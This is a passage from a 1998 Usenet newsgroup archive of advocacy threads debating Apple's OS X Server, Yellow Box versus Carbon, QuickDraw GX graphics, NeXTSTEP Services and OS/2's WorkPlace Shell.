that lacks Carbon. (But you already knew that didn't you?)
>More to the point right now, I think it's fair to say that the majority of
>MacOS developers don't perceive it either -- especially with regard to the
>yellowbox APIs.
YB != OSX. It is just a part of OSX. Many users and developers will use OSX
and not give a rats ass about YellowBox APIs. For them it will be copland
a few years late.
>So in this sense, it does not appear to me that Apple has learned the QT
>lesson at all,
There was nothing to learn from QT. It worked, it was xplatform and people
used it.
What Apple has learned was the MS lesson. When something doesn't work and
won't sell, try again and turn up the hype. When it became clear the
Rhapsody wasn't going to work out, that Mac ISVs wouldn't port to YB, Apple
went back to the drawing board and came up with OSX and Carbon.
They could have done this with GX, OpenDoc, et al; but, by the time they
finally upgraded the clue capacity in management, it was way to late.
>and YB in particular will be useful to them. (And yes, I'm aware of all the
>arguments about needing to keep traditional MacOS developers on board, etc,
>but I don't buy that this requires total silence on YB.)
I don't see total silence on YB, what I do see is Apple not wanting to repeat
the failures of over hyping what isn't for sale like they did durring the
copland era.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 1 Dec 1998 06:22:50 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <7401vq$5s8@news1.panix.com>
References: <01be1188$01ce14e0$06387880@chewy> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com> <73efr0$n4o$1@nnrp1.dejanews.com> <73g21j$bd0@news1.panix.com> <73g41e$3bf$1@your.mother.com> <73ie0r$35j@news1.panix.com> <365cd784.0@news.depaul.edu> <73pg4s$49l@news1.panix.com> <73u9pa$79n$1@nnrp1.dejanews.com>
On Mon, 30 Nov 1998 14:23:53 GMT,
spagiola@my-dejanews.com <spagiola@my-dejanews.com> wrote:
>> One toolkit will bring over a ton of Apps that Apple users a) already know
>> b) already own c) are sold by large Apple ISVs with a lot of market
>> credibility in the publishing and content creation markets.
>> YellowBox is not being given a "free ride" no matter when it ships. While YB
>> Apps might sell in larger numbers to the larger MacOS market (when compared
>> to the OpenStep market) I doubt that they will even make up 10% of the total
>> App installed base within the first two years of OSX. I would wager that YB
>> won't account for more than 50% of all Apps available or installed in the next
>> five years.
>I think you're being unduly pessimistic.
Or maybe you are being overly optimistic? (no need to answer, this is at best
highly subjective, and at worst a matter of semantics and a waste of time)
>You're probably right about the the
>proportion of YB apps in the _installed base_ 2 years out, but that's mainly
>because of existing apps being carried over or upgraded. I suspect that
>_sales_ figures won't be quite as lopsided.
Ok, you might have a point; assuming that YB Apps are what draws people to
OSX. Now convince me that this is the case :)
> 5 years out? It takes a brave
>soul to make predictions that far ahead in this business. I would expect that
>if OSX is at all a success (and hence, if Apple is around in 5 years), then
>YB apps will by then provide the vast bulk of _sales_ and probably the
>majority of installed apps (though I've no idea how you'd measure the latter
>statistic).
I am under the assumption that mature markets change at a much slower rate than
new markets; and that the Mac market is a very mature market.
How many years did it take for IE to catch up to NN? And this is with MS doing
all it could to shove IE into people's faces and onto thier machines.
What makes you think that the bulk of sales will be in YB Apps, and not in
ports of MacOS Apps?
>> I am not saying that Carbon is any way bad for OSX. I am saying that Carbon
>> is bad for YB, IN THE SHORT TERM, since it gives users a reason to skip
>> buying YB Apps, and wait for Carbon versions of Apps that they already own
>> and use. It also gives Mac users a reason to skip over OSX Server and wait
>> for OSX with Carbon to ship.
>I disagree, I think in the short run Carbon will be GOOD for YB developers.
>It guarantees a much wider range of native OSX apps from the first day of
>shipment, and thus increases quite substantially the likelihood that OSX will
>succeed. And hence it provides a much greater potential market for YB apps.
^^^^^^^^^^^^^^^^^^^^^^^^
I am not debating that Carbon won't increase the potential market for YB apps,
what I am saying is that much of this market will most likely skip over YB and
simply buy Carbon Apps.
On the other hand, if say, Mesa grabbed 10% of the Mac Excel installed base
from Microsoft; you would probably need a blow torch to remove the smile from
Mmalc's face...
>Several YB developers had the only app of their class in the
>NeXTSTEP/OPENSTEP market; did they get rich as a result? Now they'll have to
>compete for customers, which is fine. Let the best man win.
The best man doesn't always win.
> Given the
>economics of YB development, I've no doubt that YB developers can add
>features faster and more easily than their carbon counterparts will be able
>to.
Having cloned a six month long perl/cgi web app project with WebObjects in
nine days (and one of those days was lost reinstalling NT due to some dll
problems) I don't doubt it. I went from seeing (but never using) WO to
building a pretty nice App in very short order. Admittedly, cloning a solid
design with a well thought out data model isn't as hard as building one from
nothing.
>> Again, I am not saying that Carbon is bad for OSX or for YB in the long
>> term. It is bad for YB in the sort term. It has been stealing press from YB,
>> and gives people a reason to doubt that YB isn't a long term plan or core
>> asset.
>The doubts about YB aren't due to the EXISTENCE of carbon, they are due to
>Apple's continued total silence.
Apple is silent about YB _is_ because of Carbon. Like I pointed out before, when
given the choice of making Adobe/Microsoft/Quark happy and making the OpenStep
community happy; Apple is going to make Adobe/Microsoft/Quark happy.
> As your own comments show, the existence of
>carbon ought to make people much more interested in YB development because of
>the much higher probability that OSX will succeed. If this isn't happening,
>it's not due to carbon per se but to the way Apple is promoting (or not) the
>two APIs.
This is mentioned in the "developers boiling over" article on Stepwise. I think
it is pretty clear that Apple isn't going to risk ticking off the Mac ISVs by
promoting YB.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: 1 Dec 1998 06:30:22 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <7402du$61o@news1.panix.com>
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com> <F390n1.41w@T-FCN.Net> <73v71f$1k8$2@tallowcross.uni-frankfurt.de>
On 30 Nov 1998 22:42:55 GMT, Uli Zappe <uli@tallowcross.uni-frankfurt.de> wrote:
>Then you looked at it the wrong way. NEXTSTEP's desktop is the *shelf*, not
>the dock. The shelf is really just like the desktop, with the one, IMHO huge,
>advantage, that it's in a window, so you can bring it in front at any time
>*without* making the other windows disappear (I never found the Mac's desktop
>to be of any use for me, because it was always behind a lot of open windows).
One of the things I like about NT's explorer is the fact that it can be used
to grab files from the desktop while there are windows overlaping it.
>Why would you oppose a "desktop in a window"? In a true multitasking system,
>it's the way to go.
What would keep me from having a browser open to $home and using that as my
shelf? Ok, so it's another window to keep track of.
>The dock is the "menu of running apps", just open by preference (to "close"
>it, draw the NeXT cub downwards).
I don't think there is going to be any shortage of dock replacements.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 1 Dec 98 00:29:00 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B288E8CE-3496F@206.165.43.23>
References: <3663579A.4388D337@trilithon.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
Henry McGilton <henry@trilithon.com> said:
>Tried to describe 'true' 3D transforms in a three-by-three matrix.
>The scale, rotate, and translate components ended up occupying
>the same place(s) in the matrix, and there was nowhere to specify
>the components for three-D perspective. Obvious I'm no graphics
>or math whiz . . .
Here's what George Wolberg (who IS a graphics/math whiz) says about the 3D
perspective transform:
"The general representation of a perspective transform is
|a11 a12 a13|
[x', y', w'] = [u, v, w]|a21 a22 a23|
|a31 a32 a33|
where x =x'/w' and y = y'/w'.
A perspective transform, or projective mapping, is produced when
[a13 a23]T is non-zero. It is used in conjunction with a projection onto a
viewoing plane in what is known as a perspective or central projection.
Perspective transformations preserve parallel lines only when they are
parallel to the projection plane. Otherwise, lines converge to a vanishing
point. This has the property of foreshortening distant lines, a useful
technique for rendering realistic images. For perspective transformations,
the forward mapping functions are:
x = x'/w' = (a11u + a21v + a31)/(a13u + a23v + a33)
y = y'/w' = (a12u + a21v + a32)/(a13u + a23v + a33)
They take advantage of the fact that w' is allowed to vary at each point
and division by w' is equivalent to a projection using rays passing through
the origin. Note that affine transformations are a special case of
perspective transformations where w' is constant over the entire image, ie
a13 = a23 = 0." Wohlberg p 53
[yes, I know: give the many a half-read, half-understood graphics book and
he thinks that he knows something... I'm no graphics or math whiz, either]
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 1 Dec 98 00:14:57 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B288EB60-3E40D@206.165.43.23>
References: <36633FC6.2DD6EB67@ncal.verio.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
[comp.sys.mac.programmer.misc added back in]
Mike Paquette <mpaque@ncal.verio.com> said:
>Lawson English wrote:
>> GX has a wider range of color capabilities overall than eQD/DPS,
>
>The new graphics stuff uses ColorSync, which is quite capable, and well
>accepted in the marketplace.
Er, ColorSync was introduced with GX, right? Or are you suggesting that the
color profile object of GX isn't ColorSynch underneath it all?
ANd I was talking about transfer modes, BTW. Is eQD going to handle the GX
Ink object capabilities or not? Why or why not?
>
>> as well as
>> a more robust (true 3D perspective, sorry guys) transform matrix.
>
>That would be a 4 by 3 or larger transformation matrix. GX used a 3x3
>last time I looked, which is rather limiting.
Yes it is. However, it is good to maintain SOME kind of backwards
compatibility, isn't it? You keep on saying "no-one is using GX," but as
another Mac developer [yes, I just paid my $500 to get back in officially,
so I can say "another" here] said: he'd look at GX again if Apple hadn't
just killed it.
Why kill the best chance that older Mac owners have for having cheap
device-independent graphics? Why not maintain a backwards compatibility
with GX instead, while allowing GX-based stuff to continue to work with all
color Macs, including the 68K models AND the Carbonized OS?
Why change the API so completely that no-one who owns a 68K machine (and
there are 10 million of them still in use, last I heard) can hope to have
an even somewhat advanced graphics app that will also work with later MacOS
systems?
For example, stroke width
>won't scale from the 'front' to the 'back' of a 'tilted' plane. One
>cannot change camera position, or obtain Z values for use in computing
>Z-related effects such as atmosphere shaders. It's really hard to
>change camera position or the frustrum angle.
>
This is another good point, but it doesn't obviate MY position: GX
perspective-handling is better than what I last heard was going to be in
enhanced QuickDraw. Has that changed? Are you going to include a 4x3 (or
better) transform matrix in eQD? If so, good for you! [btw, while I don't
have the foggiest how to use it, Apple DOES provide a CameraLibrary to at
least approximate some of the above using GX -FWIW]
Now, if you can just create a GX-like retained mode interface that will not
only work with Carbon, but will allow backwards compatibility with 68K and
non-Carbonized Mac systems that DO use GX, that would be the best solution,
don't you agree?
>> Any
>> word-processor or drawing app that uses GX can *directly* turn itself
>into
>> a QT vectors image with no limitations or loss of fidelity.
>
>IF and only IF the developer calls all the right APIs...
Which are? If it is so difficult, why does the QuickTime manual itself say:
"The GX-to-vector transcoder included with QuickTime lets you convert
QuickDraw GX data into equivalent QuickTime vectors. If your application
already has QuickDraw GX data, or if you use a drawing program that can
create QuickDraw GX data, the transcoder makes it easy to create vector
graphics for your application."
Were the manual-writers exagerating?
And even if they were, I'll bet that GXFCN will allow easier scripting of
QT vectors on a 68K machine than anything that you'll be doing in Carbon.
Unless they release HC 3.0, of course -but will they?
And there's always the possibility of an OSAX-based on GXFCN. Gotta have
that retained mode interface and built-in shape database to allow scripting
languages to do this kind of thing, you know. Graphics data-handling
without the shape database stuff is a bitch in a scripting language.
>> Add print
>> capabilities to QT and you have internet faxing that blows Adobe's PDF
>> format out of the water (as I said years ago).
>
>And would interoperate with how many FAX machines? If you are going to
>fax bitmaps so as to interoperate with any FAX in the world, those
>bitmaps could come from any rasterizer. If you want to fax vector data
>around (a nice idea in theory), you'll need to get some manufacturers to
>buy in. Remember Adobe's try at PostScript FAX? Nice idea, with no
>support. *BOMB*
>
You don't have to have a fax machine to have an internet fax. You can just
download a printable file to a client-side computer that has a printer.
Conversely, if you DO want a fax-machine mode, what's wrong with converting
the QT vectors and bitmaps to a higher-resolution bitmap or directly to
EPS/PS/PDF? Will QuickTime support this print/fax-export/EPS sans GX and
still support the GX-level transfer modes? If so, good for you!
>> So why would anyone NOT want to use the more powerful graphics
>system?
>>
>> Answer:
>>
>> Adobe says so. More specifically: Adobe's less sophisticated format is a
>> standard, so we gotta go with the standard.
>
>*SNORT* What's this crap? The Cigarette Smoking Man work for Adobe
>these days? Adobe has lost control of the standards. More non-Adobe
>PostScript compatible RIPs are shipping than 'Genuine Adobe Inside'
>PostScript in commercial printers. A standards committee is already
>grinding away on PDF. Another standards group is working on an Internet
>Vector Graphics standard as an XGML extension. (Guess who's
>well-represented and quite active there.)
>
>
So, will this PDF-by-committee have support for the not-quite-mentioned 4x3
(or better) transform matrix? Will it support GX-level (or better) transfer
mode options and allow editing of non-PDF-like objects as is possible using
the GX file format?
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: raxelbrof@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: OS X Server Interface
Date: Tue, 01 Dec 1998 07:59:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <7407la$rq9$1@nnrp1.dejanews.com>
References: <73jgpn$rnn$1@nnrp1.dejanews.com> <73krr1$stc$1@nnrp1.dejanews.com> <73lqai$kps$1@nnrp1.dejanews.com> <73m6rb$ftm$1@sun27.hrz.tu-darmstadt.de> <73ob3g$k06$1@nnrp1.dejanews.com> <3663079F.A57B8697@cygnus.com>
In article <3663079F.A57B8697@cygnus.com>,
John Rudd <jrudd@cygnus.com> wrote:
> raxelbrof@my-dejanews.com wrote:
>
> >
> > With the huge number of secret interface tweaks in MacOS 8.5 that can only
be
> > accessed with Applescript, and the obvious NeXT influence that is occurring
> > in the appearence of finder ie double scroll arrows and docked running app
> > tiles it wouldn't surprise me if they sneak that functionality in and are
> > deliberately introducing features that way.
> >
>
> What exactly is wrong with that?
>
> I mean, if the default behavior is that you have a menu bar, etc.. why
> do you care if I can get rid of it on my Mac? The default user
> interface is still the one you know and love, yet I can also make the
> user interface into something that I want.
>
> Configurability is a good thing. Authortarianism is not.
Total agreement, I WANT to be able to get a floating palette instead of a
menubar as an option.
I think the way it will eventually happen (if at all) is with secret hooks,
but i can attest from helpdesk experience that your *average* user can't work
with the moveable and hideable win95 taskbar or comprehend 2 mouse buttons
("click your right mouse button" "ive only got one mouse on my left") so
Apple has to be very carefull not to make the interface too customisable for
the novice user.
I would like to see a path similar to all of their other options for tcp/ip
etc "Beginner" (simple finder) "Advanced" (similar to current MacOS with all
its options) "Administrator" (fully customisable)
On the other hand there is nothing (that I know of - any suggestions as to
obstacles?) to stop someone writing their own 3rd party interface - you can do
it on MacOS currently.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: Tue, 01 Dec 1998 00:03:01 -0800
Content-Transfer-Encoding: 7bit
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com> <F390n1.41w@T-FCN.Net>
Content-Type: text/plain; charset=us-ascii
Organization: EarthLink Network, Inc.
Mime-Version: 1.0
Message-ID: <3663A2B1.854@earthlink.net>
Isn't this "NeXT Advocacy" Maury?
You always seem to put down all the things that were great about NeXT.
Especially the interface. I realize that NeXT is no more, but I'm
really not sure why you always post against anything anybody happens to
say they like about NeXT/Openstep. Just wondering, why do you even read
this group if you don't like anything NeXT had to offer?
Steve
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: WO4 Announcement: Answer to Mac OS X Server timing
Date: Tue, 01 Dec 1998 00:08:12 -0800
Content-Transfer-Encoding: 7bit
References: <73ukit$ops@crab.afs.com>
To: Greg Anderson <greg@afs.com>
Content-Type: text/plain; charset=us-ascii
Organization: EarthLink Network, Inc.
Mime-Version: 1.0
Message-ID: <3663A3E7.1BC5@earthlink.net>
Greg Anderson wrote:
> Although today's announcement declares WO4 to be shipping for Unix platforms
> (presumably HP-UX and Solaris for *deployment*, not development), later it
> concedes:
>
> "WebObjects 4 for Power PC G3 systems is planned to support
> Mac OS X Server in 1999."
>
> Notice that Apple will not commit even to which *month* in 1999. So if any
> of you were still hoping for a Christmas present, Think Different.
Greg, also notice that it says "Power PC G3 systems" , not just Power
PC's. Ugh!! Will we ever see OS X Server, and will it run on my
9500??? C'mon Apple!
Steve
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <36633FC6.2DD6EB67@ncal.verio.com> <B288EB60-3E40D@206.165.43.23>
In-Reply-To: <B288EB60-3E40D@206.165.43.23>
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Date: 01 Dec 1998 09:02:48 GMT
Message-ID: <3663b0b8$0$200@nntp1.ba.best.com>
On 11/30/98, "Lawson English" wrote:
>
>And even if they were, I'll bet that GXFCN will allow easier scripting
>of QT vectors on a 68K machine than anything that you'll be doing in
>Carbon.
Ya know Lawson, people might be a tad more impressed with GXFCN if it
was actually a shipping product. I mean, you've only been talking
about it for almost TWENTY MONTHS, with nearly 200 different posts.
The first post you mentioned it in was back on 4/20/97. So where is
it? Or is GX so damned complicated that you will never be able to
finish it in a reasonable timeframe? Or so complicated that even with
a Hypercard interface no one would touch it?
On 4/21/97 you spewed about how great it would be to write games using
Hypercard and GX. How many games have been written so far using it?
By 05/07/97 you only had 500+ calls to go.
By 06/10/97 you had implemented about 100 calls and hoped to ship
0.0001alpha by the end of the week.
At 12/09/97 you had 0.09a all ready to go.
On 05/11/98 you were asking if anyone was still interested in it,
wondering if you'd wasted 16 months of your life on it so far.
[The answer to that would probably be a resounding YES.]
07/18/98 "(0.1a due out by next week, finally)" Here you also started
talking about GXFCN "Mark II", realizing that your original
implementation was probably doomed for lack of Hypercard programmers.
So what's the scoop?
-Ken
(Dejanews rules, doesn't it?)
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Software Engineer, Jane's Combat Simulations, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Nov30210140@slave.doubleu.com>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com>
<3651F9C8.F5ADA57E@cygnus.com>
In-reply-to: John Rudd's message of Tue, 17 Nov 1998 14:33:44 -0800
Date: 30 Nov 98 21:01:40
NNTP-Posting-Date: Tue, 01 Dec 1998 01:59:50 PDT
In article <3651F9C8.F5ADA57E@cygnus.com>,
John Rudd <jrudd@cygnus.com> writes:
I don't really miss user level "services" that much. Yeah, they
were nice, but who actually did anything REALLY cool and useful
that you can think of off the top of your head?
Uh.... I have TickleServices which I use, oh, 40-100 times per day.
Things like "Reformat this text to 80-columns, while correctly
handling the indicators that it's from a previous post (aka > and
kin)." Which service I just happen to use to reformat // comments,
too...
I can't really say that a couple extra gestures (highlight and menu
(in nextstep) vs highlight, click on netscape, menu to open page,
middle click to paste, and click on "ok") is an unbearable burden.
Well, I'll agree with you, to a point. There are a number of
operations that I've never bothered automating because I so seldom
perform them that it's actually easier to do it manually than to find
the automated version on my Services menu.
There are others that are annoying to find, but still easier than
doing manually. For instance, I've got a service which addresses 6"
or 9" envelopes with the selected address and my return address. Or
the service that takes a UPS tracking number and brings up OmniWeb
viewing the appropriate www.ups.com page. Or the service that looks
at the current file I'm editting and opens the header/implementation
file as needed (ie, if you're looking at a .h, it opens the .m, if
you're looking at a .c, it opens the .h, etc).
Even with Webster's, the difference between "Command-=" and "Copy,
find and launch Webster's, Paste, enter" is like the difference
between one second and ten seconds. If not for Command-=, I'd
probably _never_ use Webster's, I'd just assume I was right, with
Command-=, I use it perhaps 10 times per week (and I'm still _usually_
right :-).
Services are, unfortunately, one of those wildly useful features that
nobody knows they miss...
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Nov30212013@slave.doubleu.com>
References: <01be1188$01ce14e0$06387880@chewy>
<whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com>
<ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy>
<731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com>
<732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com>
<732sko$a4e@shelob.afs.com> <7348sa$9dp$1@cronkite.cs.umd.edu>
<199811202008582097043@mp-214-164.daxnet.no>
<734l8p$f2i@shelob.afs.com> <19981121013040811568@mp-216-124.daxnet.no>
In-reply-to: tsivertsen@c2i.net's message of Sat, 21 Nov 1998 01:30:40 +0100
Date: 30 Nov 98 21:20:13
NNTP-Posting-Date: Tue, 01 Dec 1998 01:59:51 PDT
In article <19981121013040811568@mp-216-124.daxnet.no>,
tsivertsen@c2i.net (Thomas Sivertsen) writes:
I see no reason why Apple would keep up the NeXT pricing. It would
generate too much bad press. Like I said, them cannons aren`t
always pointing at toes...
The fact that there is no reason to keep up the anti-success NeXT
pricing is the most powerful argument I've heard for why they'll do
so.
Possible Apple Thought A:
NeXTSTEP/OpenStep/Rhapsody/MacOS X Server is so great that if
released at a reasonable price it would seriously undermine MacOS
8, so why not raise the price?
Possible Apple Though B:
Rhapsody is so beyond the capabilities of MacOS 8 users that we
had better restrict distribution so as not to get a bad name.
Few people have an understanding of the depths of un-reality that hold
sway within big companies. NeXT, Apple, Sun, IBM, Microsoft, these
companies daily demonstrate that not connecting with reality is
_standard_ operations, what's amazing is that every once and awhile
they _do_ make a connection with reality and hit one out of the
ballpark.
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Nov30212634@slave.doubleu.com>
References: <01be1188$01ce14e0$06387880@chewy>
<whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com>
<ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy>
<731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com>
<732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com>
<733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com>
In-reply-to: sal@panix.com's message of 22 Nov 1998 18:35:23 GMT
Date: 30 Nov 98 21:26:34
NNTP-Posting-Date: Tue, 01 Dec 1998 01:59:51 PDT
In article <739lhb$g1r@news1.panix.com> sal@panix.com (Sal Denaro) writes:
On Fri, 20 Nov 1998 14:36:27 GMT, spagiola@my-dejanews.com
<spagiola@my-dejanews.com> wrote:
>sal@panix.com wrote:
>> I would be shocked if the price was under $500. The term
>> "server" was added for a reason; I very much doubt that Apple
>> thinks that OSXS will sell in large numbers.
>Of course they won't, if they charge $500 for it. That's called a
>self-fulfilling prophesy.
What does NT _server_ sell for? What does Netware _server_ sell
for? What does AppleShare _server_ sell for?
NT Server is called that because it's intended for serving networks.
Netware is a server because it's intended to _be_ the network (in some
senses). MacOS X Server is called "Server" because it's too far
advanced to be lumped in with MacOS 8.x.
Compared to MacOS 8.x or Windows 95/98, MacOS X Server will be an
_excellent_ server. Compared to Windows NT Workstation and Server on
commodity hardware, MacOS X Server will hold its own. Compared to
Linux or FreeBSD on commodity hardware, Solaris on Sun hardware, or NT
Server on high-end Compaq hardware, MacOS X Server will be a sucky
server indeed.
I'm suggesting that all of MacOS X Server's ancestors were _excellent_
in that middle ground between low-level client machines and high level
server machines. Their competition is really Solaris on client boxes,
Windows NT client, and Linux on client boxes. Not any of those on
server boxes.
>If they're determined to prove that OSX Server will fail in the
>marketplace, they certainly seem to be following the right
>approach.
I am waiting to see _how_ they plan to sell it and market it before
I say anything about it being a success or a failure.
:-). My guess is that we're already seeing how they plan to sell and
market it.
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
Date: Tue, 01 Dec 1998 12:24:05 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <740n4t$8j5$1@nnrp1.dejanews.com>
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12> <73pg4r$49l@news1.panix.com> <slrn7614e1.iq8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <366094F1.484C0F7E@nstar.net> <36610f3e.0@news.depaul.edu> <3661612E.EA4077D1@nstar.net> <73uedp$baa$1@nnrp1.dejanews.com> <73uqab$m48$1@nnrp1.dejanews.com>
In article <73uqab$m48$1@nnrp1.dejanews.com>,
spagiola@my-dejanews.com wrote:
> malcolm@plsys.co.uk wrote:
> > By calling it MacOS X Apple sidesteps the need to make any case at all,
> > besides the usual case required for any "upgrade". Instead of having to
> > convince users that they need this spanking new OS with all of these wizzy
> > new features, Apple just has to say "The latest and greatest version of the
> > OS that you know and love". The wizzy new features will just be there.
>
> Not sure I agree with you here. The original assertion was that QT was
> successful because it did something that both users and developers perceived
> to be useful. Right now, it's not at all clear to me that the majority of
> users have much of a sense of why or in what way OSX will be useful for them.
>
Umm, this was my point. Some will understand why, for example, PMT and
proper memory handling will be useful, others may not. Whichever, most
people understand that an upgrade is a Good Thing. And by positioning
"Rhapsody" as MacOS X most people seem to regard it simply as an upgrade
(witness the number of folks claiming that "Rhapsody is dead, it's been
replaced by MacOS X").
> More to the point right now, I think it's fair to say that the majority of
> MacOS developers don't perceive it either -- especially with regard to the
> yellowbox APIs.
>
I think most developers do appreciate what YB offers, it's more that some
don't trust Apple to deliver (partly because of ill-informed FUD spread by
various people), and others simply because of the amount of investment they
already have in existing technologies.
> Yes, a lot of people will buy OSX because it's the "latest and greatest"
> version of the MacOS. But will the wizzy new features just be there? Some
> will, like memory protection. But most will not until somebody writes apps
> that take advantage of all those wizzy new features, eg apps that can provide
> and accept services to/from other apps.
>
Intersting point -- I wonder if Carbon apps will have Services? Whatever, I
think that the improvements in basic OS service provision will result in a
much better user experience (fewer crashes, faster system response etc) which
will make the upgrade worthwhile...
> But few people are writing such apps.
> As a result, OSX will be a lot less exciting than it could have been, at
> least early on. And so it'll be much more difficult for your average user to
> perceive just how much of an improvement OSX really is.
>
... I'm not so sure of that.
> So in this sense, it does not appear to me that Apple has learned the QT
> lesson at all, or at least is not applying it, in that they appear to be
> doing little or nothing to make a compelling case to developers about why OSX
> and YB in particular will be useful to them.
>
Umm, I think showing OS X as the strategic milestone on the OS roadmap should
be a compelling case! This shows at least why the OS is important!
> (And yes, I'm aware of all the
> arguments about needing to keep traditional MacOS developers on board, etc,
> but I don't buy that this requires total silence on YB.)
>
Agreed -- they're not being *totally* silent about YB, though, but I do think
they could raise the noise level by a dB or two.
Best wishes,
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
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From: possum@tree.branch (Mike Trettel)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: OS/2 and failure
References: <365D8F89.87AF75E7@csi.com> <366067bb$1$rfgure$mr2ice@news.primenet.com> <8AB0DB974C012F47.3E699E1BE6D10974.D3D210F886594A99@library-proxy.airnews.net>
Organization: Twinco, Inc.
Message-ID: <slrn767pnv.8vk.possum@ss5.fred.net>
Date: Tue, 01 Dec 1998 12:54:24 GMT
NNTP-Posting-Date: Tue, 01 Dec 1998 07:54:24 EDT
On Tue, 01 Dec 1998 02:39:18 GMT, Sheldon Gartner <a1050pi@yahoo.com> wrote:
>
>As the lowly end users, I'm interested in how difficult it would be
>make OS/2's WorkPlace Shell open source then port it to Linux. It
>seems as though IBM is much more likely to give away the OS/2 "family
>jewels" than Apple is for OSX.
>
I'm surprised how often this one pops up. While there's no way I
personally can know for sure, in my opinion IBM will never release the
source code for the WPS. If they did in fact do so, it would most
certainly be "giving away the family jewels"-which is exactly why IBM
won't do it. IBM is not that foolish, and maintains one of the largest
and most impressive intellectual property legal staffs ever seen on this
planet for just that reason. Large portions of the WPS source code are
most certainly either protected by patents (in which case anyone can look
them up, you know) or are trade secrets (i.e, proprietary source code
hidden deep within the bowels of IBM, and known to only a few select
programmers). Since the only protection a trade secret has is, well,
secrecy it wouldn't look very good to the stockholders to suddenly hand
